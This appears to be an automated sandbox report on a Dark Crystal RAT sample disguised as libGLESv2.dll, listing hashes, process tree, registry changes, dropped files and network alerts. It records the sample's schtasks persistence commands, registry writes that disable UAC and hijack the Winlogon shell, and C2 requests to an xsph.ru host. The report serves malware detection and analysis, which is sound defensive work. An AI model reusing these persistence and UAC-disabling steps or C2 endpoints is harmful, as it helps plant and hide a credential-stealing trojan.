File name: | 3aa1bbd17d68b0b67b7423f1fe09b05b.exe |
Full analysis: | https://app.any.run/tasks/624d3858-8ab3-46a2-a748-00e5250a3692 |
Verdict: | Malicious activity |
Threats: | DCrat, also known as Dark Crystal RAT, is a remote access trojan (RAT), which was first introduced in 2018. It is a modular malware that can be customized to perform different tasks. For instance, it can steal passwords, crypto wallet information, hijack Telegram and Steam accounts, and more. Attackers may use a variety of methods to distribute DCrat, but phishing email campaigns are the most common. |
Analysis date: | December 14, 2024, 10:07:45 |
OS: | Windows 10 Professional (build: 19045, 64 bit) |
Tags: | |
Indicators: | |
MIME: | application/vnd.microsoft.portable-executable |
File info: | PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 4 sections |
MD5: | 3AA1BBD17D68B0B67B7423F1FE09B05B |
SHA1: | 61C43B8F31A51D772FD39D5CAA87699D74971A43 |
SHA256: | 7362F82084BCDF47B0927674AD678F66214E8D4F2783A0B9338EE4EB773C3474 |
SSDEEP: | 98304:h56mtoFgfhJiJ5zPHY+Pewr+XMg27aQ4Y27ieBxu++LAYj6gNIKe3y7klkPr/lnw:0dcp |
.exe | | | Generic CIL Executable (.NET, Mono, etc.) (45.1) |
---|---|---|
.exe | | | Win32 Executable MS Visual C++ (generic) (19.2) |
.exe | | | Win64 Executable (generic) (17) |
.scr | | | Windows screen saver (8) |
.dll | | | Win32 Dynamic Link Library (generic) (4) |
ProductVersion: | 5.15.2.0 |
---|---|
ProductName: | libGLESv2 |
OriginalFileName: | libGLESv2.dll |
FileVersion: | 5.15.2.0 |
CharacterSet: | Unicode |
LanguageCode: | English (U.S.) |
FileSubtype: | - |
ObjectFileType: | Dynamic link library |
FileOS: | Win32 |
FileFlags: | (none) |
FileFlagsMask: | 0x003f |
ProductVersionNumber: | 5.15.2.0 |
FileVersionNumber: | 5.15.2.0 |
Subsystem: | Windows GUI |
SubsystemVersion: | 4 |
ImageVersion: | - |
OSVersion: | 4 |
EntryPoint: | 0x235bfe |
UninitializedDataSize: | - |
InitializedDataSize: | 13824 |
CodeSize: | 2309632 |
LinkerVersion: | 6 |
PEType: | PE32 |
ImageFileCharacteristics: | Executable, No line numbers, No symbols, Large address aware, 32-bit |
TimeStamp: | 2022:05:04 16:03:35+00:00 |
MachineType: | Intel 386 or later, and compatibles |
PID | CMD | Path | Indicators | Parent process | |||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
6300 | "C:\Users\admin\AppData\Local\Temp\3aa1bbd17d68b0b67b7423f1fe09b05b.exe" | C:\Users\admin\AppData\Local\Temp\3aa1bbd17d68b0b67b7423f1fe09b05b.exe | — | explorer.exe | |||||||||||
User: admin Integrity Level: MEDIUM Exit code: 0 Version: 5.15.2.0 Modules
| |||||||||||||||
6760 | "C:\Windows\System32\cmd.exe" /c "C:\Users\admin\AppData\Local\Temp\3aa1bbd17d68b0b67b7423f1fe09b05b.exe" | C:\Windows\System32\cmd.exe | 3aa1bbd17d68b0b67b7423f1fe09b05b.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
6772 | \??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1 | C:\Windows\System32\conhost.exe | — | cmd.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Console Window Host Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
6912 | C:\Users\admin\AppData\Local\Temp\3aa1bbd17d68b0b67b7423f1fe09b05b.exe | C:\Users\admin\AppData\Local\Temp\3aa1bbd17d68b0b67b7423f1fe09b05b.exe | cmd.exe | ||||||||||||
User: admin Integrity Level: HIGH Exit code: 0 Version: 5.15.2.0 Modules
| |||||||||||||||
5004 | "C:\WINDOWS\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe" -ServerName:App.AppXtk181tbxbce2qsex02s8tw7hfxa9xb3t.mca | C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe | — | svchost.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Shell Experience Host Version: 10.0.19041.3758 (WinBuild.160101.0800) Modules
| |||||||||||||||
5156 | schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 10 /tr "'C:\Windows\Microsoft.NET\winlogon.exe'" /f | C:\Windows\System32\schtasks.exe | — | WmiPrvSE.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Task Scheduler Configuration Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
6256 | schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Windows\Microsoft.NET\winlogon.exe'" /rl HIGHEST /f | C:\Windows\System32\schtasks.exe | — | WmiPrvSE.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Task Scheduler Configuration Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
6296 | schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 9 /tr "'C:\Windows\Microsoft.NET\winlogon.exe'" /rl HIGHEST /f | C:\Windows\System32\schtasks.exe | — | WmiPrvSE.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Task Scheduler Configuration Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
6396 | schtasks.exe /create /tn "winlogonw" /sc MINUTE /mo 12 /tr "'C:\Users\admin\winlogon.exe'" /f | C:\Windows\System32\schtasks.exe | — | WmiPrvSE.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Task Scheduler Configuration Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
6164 | schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\Users\admin\winlogon.exe'" /rl HIGHEST /f | C:\Windows\System32\schtasks.exe | — | WmiPrvSE.exe | |||||||||||
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Task Scheduler Configuration Tool Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
|
(PID) Process: | (6912) 3aa1bbd17d68b0b67b7423f1fe09b05b.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System |
Operation: | write | Name: | EnableLUA |
Value: 0 | |||
(PID) Process: | (6912) 3aa1bbd17d68b0b67b7423f1fe09b05b.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System |
Operation: | write | Name: | ConsentPromptBehaviorAdmin |
Value: 0 | |||
(PID) Process: | (6912) 3aa1bbd17d68b0b67b7423f1fe09b05b.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System |
Operation: | write | Name: | PromptOnSecureDesktop |
Value: 0 | |||
(PID) Process: | (6912) 3aa1bbd17d68b0b67b7423f1fe09b05b.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Action Center\Checks\{C8E6F269-B90A-4053-A3BE-499AFCEC98C4}.check.0 |
Operation: | write | Name: | CheckSetting |
Value: 23004100430042006C006F00620000000000000000000000010000000000000000000000 | |||
(PID) Process: | (6912) 3aa1bbd17d68b0b67b7423f1fe09b05b.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
Operation: | write | Name: | winlogon |
Value: "C:\Windows\Microsoft.NET\winlogon.exe" | |||
(PID) Process: | (6912) 3aa1bbd17d68b0b67b7423f1fe09b05b.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
Operation: | write | Name: | winlogon |
Value: "C:\Windows\Microsoft.NET\winlogon.exe" | |||
(PID) Process: | (6912) 3aa1bbd17d68b0b67b7423f1fe09b05b.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon |
Operation: | write | Name: | Shell |
Value: explorer.exe, "C:\Windows\Microsoft.NET\winlogon.exe" | |||
(PID) Process: | (6912) 3aa1bbd17d68b0b67b7423f1fe09b05b.exe | Key: | HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
Operation: | write | Name: | winlogon |
Value: "C:\Users\admin\winlogon.exe" | |||
(PID) Process: | (6912) 3aa1bbd17d68b0b67b7423f1fe09b05b.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
Operation: | write | Name: | winlogon |
Value: "C:\Users\admin\winlogon.exe" | |||
(PID) Process: | (6912) 3aa1bbd17d68b0b67b7423f1fe09b05b.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon |
Operation: | write | Name: | Shell |
Value: explorer.exe, "C:\Windows\Microsoft.NET\winlogon.exe", "C:\Users\admin\winlogon.exe" |
PID | Process | Filename | Type | |
---|---|---|---|---|
6912 | 3aa1bbd17d68b0b67b7423f1fe09b05b.exe | C:\Windows\Microsoft.NET\winlogon.exe | executable | |
MD5:3AA1BBD17D68B0B67B7423F1FE09B05B | SHA256:7362F82084BCDF47B0927674AD678F66214E8D4F2783A0B9338EE4EB773C3474 | |||
6912 | 3aa1bbd17d68b0b67b7423f1fe09b05b.exe | C:\Program Files (x86)\Opera\csrss.exe | executable | |
MD5:3AA1BBD17D68B0B67B7423F1FE09B05B | SHA256:7362F82084BCDF47B0927674AD678F66214E8D4F2783A0B9338EE4EB773C3474 | |||
6912 | 3aa1bbd17d68b0b67b7423f1fe09b05b.exe | C:\Program Files (x86)\Windows Defender\en-US\RuntimeBroker.exe | executable | |
MD5:3AA1BBD17D68B0B67B7423F1FE09B05B | SHA256:7362F82084BCDF47B0927674AD678F66214E8D4F2783A0B9338EE4EB773C3474 | |||
6912 | 3aa1bbd17d68b0b67b7423f1fe09b05b.exe | C:\Users\admin\winlogon.exe | executable | |
MD5:3AA1BBD17D68B0B67B7423F1FE09B05B | SHA256:7362F82084BCDF47B0927674AD678F66214E8D4F2783A0B9338EE4EB773C3474 | |||
6912 | 3aa1bbd17d68b0b67b7423f1fe09b05b.exe | C:\Windows\Microsoft.NET\cc11b995f2a76d | text | |
MD5:27A8BB64E2E6BD4E34B0D9FFEACD75E5 | SHA256:4BE8AB886EA103C4C94703619D2395DC7DF219355CF9D007A73496CF15BC10E1 | |||
6912 | 3aa1bbd17d68b0b67b7423f1fe09b05b.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\csrss.exe | executable | |
MD5:3AA1BBD17D68B0B67B7423F1FE09B05B | SHA256:7362F82084BCDF47B0927674AD678F66214E8D4F2783A0B9338EE4EB773C3474 | |||
6912 | 3aa1bbd17d68b0b67b7423f1fe09b05b.exe | C:\Recovery\OEM\088424020bedd6 | text | |
MD5:E3985EA27D20FED3CD748862FAD5A4B0 | SHA256:66B2AD3493D42EA2B483F23A624E08A8C0B41372CCC7BE47318D27541255A942 | |||
6912 | 3aa1bbd17d68b0b67b7423f1fe09b05b.exe | C:\Program Files\rempl\Logs\sihost.exe | executable | |
MD5:3AA1BBD17D68B0B67B7423F1FE09B05B | SHA256:7362F82084BCDF47B0927674AD678F66214E8D4F2783A0B9338EE4EB773C3474 | |||
6912 | 3aa1bbd17d68b0b67b7423f1fe09b05b.exe | C:\ProgramData\csrss.exe | executable | |
MD5:3AA1BBD17D68B0B67B7423F1FE09B05B | SHA256:7362F82084BCDF47B0927674AD678F66214E8D4F2783A0B9338EE4EB773C3474 | |||
6912 | 3aa1bbd17d68b0b67b7423f1fe09b05b.exe | C:\Users\Default\sihost.exe | executable | |
MD5:3AA1BBD17D68B0B67B7423F1FE09B05B | SHA256:7362F82084BCDF47B0927674AD678F66214E8D4F2783A0B9338EE4EB773C3474 |
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
---|---|---|---|---|---|---|---|---|---|
5064 | SearchApp.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D | unknown | — | — | whitelisted |
1176 | svchost.exe | GET | 200 | 192.229.221.95:80 | http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D | unknown | — | — | whitelisted |
3836 | conhost.exe | GET | 403 | 141.8.192.138:80 | http://a1063683.xsph.ru/2172ee40.php?uT6vhWYnuHa=ib6gh8rd&OddlTflJ2ZyAPzq=mjvWO9J1HOwaLMMJI1g0cKO1w&c890477b200ba1ffc8ef461f54aaad3b=c3ccc9b0173ab12b589ddb5b569d75e1&61cb0d9d4a37c6ca1c8fa3a413f36a41=gYxEWNxQmZxcDOjJmNihTZzImNkRzNiFzMldjMzQWYhhTNmhzYjNWO&uT6vhWYnuHa=ib6gh8rd&OddlTflJ2ZyAPzq=mjvWO9J1HOwaLMMJI1g0cKO1w | unknown | — | — | whitelisted |
3836 | conhost.exe | GET | 403 | 141.8.192.138:80 | http://a1063683.xsph.ru/2172ee40.php?uT6vhWYnuHa=ib6gh8rd&OddlTflJ2ZyAPzq=mjvWO9J1HOwaLMMJI1g0cKO1w&c890477b200ba1ffc8ef461f54aaad3b=c3ccc9b0173ab12b589ddb5b569d75e1&61cb0d9d4a37c6ca1c8fa3a413f36a41=gYxEWNxQmZxcDOjJmNihTZzImNkRzNiFzMldjMzQWYhhTNmhzYjNWO&uT6vhWYnuHa=ib6gh8rd&OddlTflJ2ZyAPzq=mjvWO9J1HOwaLMMJI1g0cKO1w | unknown | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 23.48.23.156:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
3220 | svchost.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
3220 | svchost.exe | GET | 200 | 23.48.23.156:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
4712 | MoUsoCoreWorker.exe | GET | 200 | 184.30.21.171:80 | http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl | unknown | — | — | whitelisted |
6012 | conhost.exe | GET | 403 | 141.8.192.138:80 | http://a1063683.xsph.ru/2172ee40.php?Fu=gj0CD&0hVsFt2=WrbZi3R77lCKZTINiqgOAyZQ&c890477b200ba1ffc8ef461f54aaad3b=c3ccc9b0173ab12b589ddb5b569d75e1&61cb0d9d4a37c6ca1c8fa3a413f36a41=gYxEWNxQmZxcDOjJmNihTZzImNkRzNiFzMldjMzQWYhhTNmhzYjNWO&Fu=gj0CD&0hVsFt2=WrbZi3R77lCKZTINiqgOAyZQ | unknown | — | — | whitelisted |
6012 | conhost.exe | GET | 403 | 141.8.192.138:80 | http://a1063683.xsph.ru/2172ee40.php?Fu=gj0CD&0hVsFt2=WrbZi3R77lCKZTINiqgOAyZQ&c890477b200ba1ffc8ef461f54aaad3b=c3ccc9b0173ab12b589ddb5b569d75e1&61cb0d9d4a37c6ca1c8fa3a413f36a41=gYxEWNxQmZxcDOjJmNihTZzImNkRzNiFzMldjMzQWYhhTNmhzYjNWO&Fu=gj0CD&0hVsFt2=WrbZi3R77lCKZTINiqgOAyZQ | unknown | — | — | whitelisted |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
— | — | 192.168.100.255:137 | — | — | — | whitelisted |
1864 | RUXIMICS.exe | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
— | — | 4.231.128.59:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | IE | whitelisted |
4712 | MoUsoCoreWorker.exe | 23.48.23.156:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
3220 | svchost.exe | 23.48.23.156:80 | crl.microsoft.com | Akamai International B.V. | DE | whitelisted |
4712 | MoUsoCoreWorker.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
3220 | svchost.exe | 184.30.21.171:80 | www.microsoft.com | AKAMAI-AS | DE | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
5064 | SearchApp.exe | 104.126.37.184:443 | www.bing.com | Akamai International B.V. | DE | whitelisted |
1176 | svchost.exe | 20.190.160.20:443 | login.live.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
Domain | IP | Reputation |
---|---|---|
settings-win.data.microsoft.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
www.microsoft.com |
| whitelisted |
google.com |
| whitelisted |
www.bing.com |
| whitelisted |
login.live.com |
| whitelisted |
ocsp.digicert.com |
| whitelisted |
go.microsoft.com |
| whitelisted |
a1063683.xsph.ru |
| whitelisted |
arc.msn.com |
| whitelisted |
PID | Process | Class | Message |
---|---|---|---|
— | — | Misc activity | ET INFO Observed DNS Query to xsph .ru Domain |
— | — | A Network Trojan was detected | ET MALWARE DCRAT Activity (GET) |
— | — | A Network Trojan was detected | ET MALWARE DCRAT Activity (GET) |
— | — | A Network Trojan was detected | ET MALWARE DCRAT Activity (GET) |
— | — | A Network Trojan was detected | ET MALWARE DCRAT Activity (GET) |
— | — | A Network Trojan was detected | ET MALWARE DCRAT Activity (GET) |
— | — | A Network Trojan was detected | ET MALWARE DCRAT Activity (GET) |
— | — | A Network Trojan was detected | ET MALWARE DCRAT Activity (GET) |
— | — | A Network Trojan was detected | ET MALWARE DCRAT Activity (GET) |
— | — | A Network Trojan was detected | ET MALWARE DCRAT Activity (GET) |